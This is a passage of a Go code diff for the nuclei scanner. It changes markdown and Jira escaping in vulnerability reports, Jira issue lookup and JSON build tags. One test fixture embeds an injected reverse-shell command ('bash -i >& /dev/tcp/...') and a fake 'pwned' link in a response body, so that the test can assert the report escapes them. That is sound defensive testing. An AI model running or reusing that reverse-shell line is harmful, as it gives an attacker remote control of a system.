*testing.T) { + testCases := []struct { + name string + input string + expected string + }{ + { + name: "no special characters", + input: "normal text without special chars", + expected: "normal text without special chars", + }, + { + name: "with backticks", + input: "text with `backticks` inside", + expected: "text with \\`backticks\\` inside", + }, + { + name: "with backslashes", + input: "text with \\ backslash", + expected: "text with \\\\ backslash", + }, + { + name: "with both backticks and backslashes", + input: "text with `backticks` and \\ backslash", + expected: "text with \\`backticks\\` and \\\\ backslash", + }, + { + name: "with code block", + input: "```code block```", + expected: "\\`\\`\\`code block\\`\\`\\`", + }, + { + name: "with escaped backtick", + input: "escaped \\` backtick", + expected: "escaped \\\\\\` backtick", + }, + { + name: "with multiple consecutive backticks", + input: "``double backticks``", + expected: "\\`\\`double backticks\\`\\`", + }, + } + + for _, tc := range testCases { + t.Run(tc.name, func(t *testing.T) { + result := escapeCodeBlockMarkdown(tc.input) + require.Equal(t, tc.expected, result, "Failed to properly escape markdown for code blocks") + }) + } +} diff --git a/pkg/reporting/format/format_utils_test.go b/pkg/reporting/format/format_utils_test.go index f10179de7..134f52c61 100644 --- a/pkg/reporting/format/format_utils_test.go +++ b/pkg/reporting/format/format_utils_test.go @@ -1,12 +1,14 @@ package format import ( + "fmt" "strings" "testing" "github.com/projectdiscovery/nuclei/v3/pkg/model" "github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity" "github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice" + "github.com/projectdiscovery/nuclei/v3/pkg/output" "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util" "github.com/stretchr/testify/require" ) @@ -46,3 +48,28 @@ func TestToMarkdownTableString(t *testing.T) { require.Equal(t, strings.Split(expectedOrderedAttributes, "\n"), actualAttributeSlice[:dynamicAttributeIndex]) // the first part of the result is ordered require.ElementsMatch(t, expectedDynamicAttributes, actualAttributeSlice[dynamicAttributeIndex:]) // dynamic parameters are not ordered } + +func TestCreateReportDescription_MarkdownInjection(t *testing.T) { + // Setup a mock result event with malicious payload in various fields + event := &output.ResultEvent{ + TemplateID: "test-template", + Host: "example.com", + Matched: "https://example.com/vulnerable", + Type: "http", + Info: model.Info{ + Name: "Test Template", + Authors: stringslice.StringSlice{Value: []string{"researcher"}}, + SeverityHolder: severity.Holder{Severity: severity.High}, + Tags: stringslice.StringSlice{Value: []string{"test"}}, + }, + Request: "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n", + Response: "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\nHello, world\r\n\r\n```\r\n\r\nReferences:\r\n- https://rce.ee/pwned\r\n\r\n**CURL command**\r\n```sh\r\nbash -i >& /dev/tcp/10.0.0.1/4242 0>&1\r\n```\r\n", + CURLCommand: "curl -X GET https://example.com", + } + + result := CreateReportDescription(event, &util.MarkdownFormatter{}, false) + fmt.Println(result) + + require.NotContains(t, result, "```\r\n\r\nReferences:\r\n- https://rce.ee/pwned") + require.NotContains(t, result, "```sh\r\nbash -i >& /dev/tcp") +} diff --git a/pkg/reporting/reporting.go b/pkg/reporting/reporting.go index 20fe85f1a..97b8d6924 100644 --- a/pkg/reporting/reporting.go +++ b/pkg/reporting/reporting.go @@ -2,11 +2,12 @@ package reporting import ( "fmt" - "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo" "os" "strings" "sync/atomic" + "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo" + "github.com/projectdiscovery/gologger" "github.com/projectdiscovery/nuclei/v3/pkg/catalog/config" json_exporter "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter" @@ -329,7 +330,7 @@ func (c *ReportingClient) CreateIssue(event *output.ResultEvent) error { // CloseIssue closes an issue in the tracker func (c *ReportingClient) CloseIssue(event *output.ResultEvent) error { for _, tracker := range c.trackers { - if tracker.ShouldFilter(event) { + if !tracker.ShouldFilter(event) { continue } if err := tracker.CloseIssue(event); err != nil { diff --git a/pkg/reporting/trackers/jira/jira.go b/pkg/reporting/trackers/jira/jira.go index 9969a7914..e2eabca9d 100644 --- a/pkg/reporting/trackers/jira/jira.go +++ b/pkg/reporting/trackers/jira/jira.go @@ -29,7 +29,8 @@ func (jiraFormatter *Formatter) MakeBold(text string) string { } func (jiraFormatter *Formatter) CreateCodeBlock(title string, content string, _ string) string { - return fmt.Sprintf("\n%s\n{code}\n%s\n{code}\n", jiraFormatter.MakeBold(title), content) + escapedContent := strings.ReplaceAll(content, "{code}", "") + return fmt.Sprintf("\n%s\n{code}\n%s\n{code}\n", jiraFormatter.MakeBold(title), escapedContent) } func (jiraFormatter *Formatter) CreateTable(headers []string, rows [][]string) (string, error) { @@ -240,7 +241,7 @@ func getIssueResponseFromJira(issue *jira.Issue) (*filters.CreateIssueResponse, // CreateIssue creates an issue in the tracker or updates the existing one func (i *Integration) CreateIssue(event *output.ResultEvent) (*filters.CreateIssueResponse, error) { if i.options.UpdateExisting { - issue, err := i.FindExistingIssue(event) + issue, err := i.FindExistingIssue(event, true) if err != nil { return nil, errors.Wrap(err, "could not find existing issue") } else if issue.ID != "" { @@ -265,7 +266,7 @@ func (i *Integration) CloseIssue(event *output.ResultEvent) error { return nil } - issue, err := i.FindExistingIssue(event) + issue, err := i.FindExistingIssue(event, false) if err != nil { return err } else if issue.ID != "" { @@ -300,13 +301,16 @@ func (i *Integration) CloseIssue(event *output.ResultEvent) error { } // FindExistingIssue checks if the issue already exists and returns its ID -func (i *Integration) FindExistingIssue(event *output.ResultEvent) (jira.Issue, error) { +func (i *Integration) FindExistingIssue(event *output.ResultEvent, useStatus bool) (jira.Issue, error) { template := format.GetMatchedTemplateName(event) project := i.options.ProjectName if i.options.ProjectID != "" { project = i.options.ProjectID } - jql := fmt.Sprintf("summary ~ \"%s\" AND summary ~ \"%s\" AND status != \"%s\" AND project = \"%s\"", template, event.Host, i.options.StatusNot, project) + jql := fmt.Sprintf("summary ~ \"%s\" AND summary ~ \"%s\" AND project = \"%s\"", template, event.Host, project) + if useStatus { + jql = fmt.Sprintf("%s AND status != \"%s\"", jql, i.options.StatusNot) + } searchOptions := &jira.SearchOptions{ MaxResults: 1, // if any issue exists, then we won't create a new one diff --git a/pkg/tmplexec/exec.go b/pkg/tmplexec/exec.go index 0caefe602..d0ed09331 100644 --- a/pkg/tmplexec/exec.go +++ b/pkg/tmplexec/exec.go @@ -215,8 +215,10 @@ func (e *TemplateExecuter) Execute(ctx *scan.ScanContext) (bool, error) { if lastMatcherEvent != nil { lastMatcherEvent.Lock() + defer lastMatcherEvent.Unlock() + lastMatcherEvent.InternalEvent["error"] = getErrorCause(ctx.GenerateErrorMessage()) - lastMatcherEvent.Unlock() + writeFailureCallback(lastMatcherEvent, e.options.Options.MatcherStatus) } diff --git a/pkg/utils/json/doc.go b/pkg/utils/json/doc.go index 35b612b76..b3eb7d24a 100644 --- a/pkg/utils/json/doc.go +++ b/pkg/utils/json/doc.go @@ -1,8 +1,8 @@ // Package json provides fast JSON encoding and decoding functionality. // // On supported platforms; Linux, Darwin, or Windows on amd64, or on arm64 with -// Go 1.20 or later, the package uses the high-performance [sonic] library. On -// any other systems, it gracefully falls back to using the [go-json] +// Go >= 1.20 and <= 1.23, the package uses the high-performance [sonic] library. +// On any other systems, it gracefully falls back to using the [go-json] // implementation. // // This package acts as a wrapper around the underlying JSON APIs, offering diff --git a/pkg/utils/json/json.go b/pkg/utils/json/json.go index 054640695..c9d9e39ab 100644 --- a/pkg/utils/json/json.go +++ b/pkg/utils/json/json.go @@ -1,4 +1,5 @@ -//go:build (linux || darwin || windows) && (amd64 || arm64) +//go:build !go1.24 && (linux || darwin || windows) && (amd64 || arm64) +// +build !go1.24 // +build linux darwin windows // +build amd64 arm64 diff --git a/pkg/utils/json/json_fallback.go b/pkg/utils/json/json_fallback.go index 12cf71ad3..495cbaeda 100644 --- a/pkg/utils/json/json_fallback.go +++ b/pkg/utils/json/json_fallback.go @@ -1,5 +1,5 @@ -//go:build !((linux || darwin || windows) && (amd64 || arm64)) -// +build !linux,!darwin,!windows !amd64,!arm64 +//go:build go1.24 || !(linux || darwin || windows) || !(amd64 || arm64) +// +build go1.24 !linux,!darwin,!windows !amd64,!arm64 package json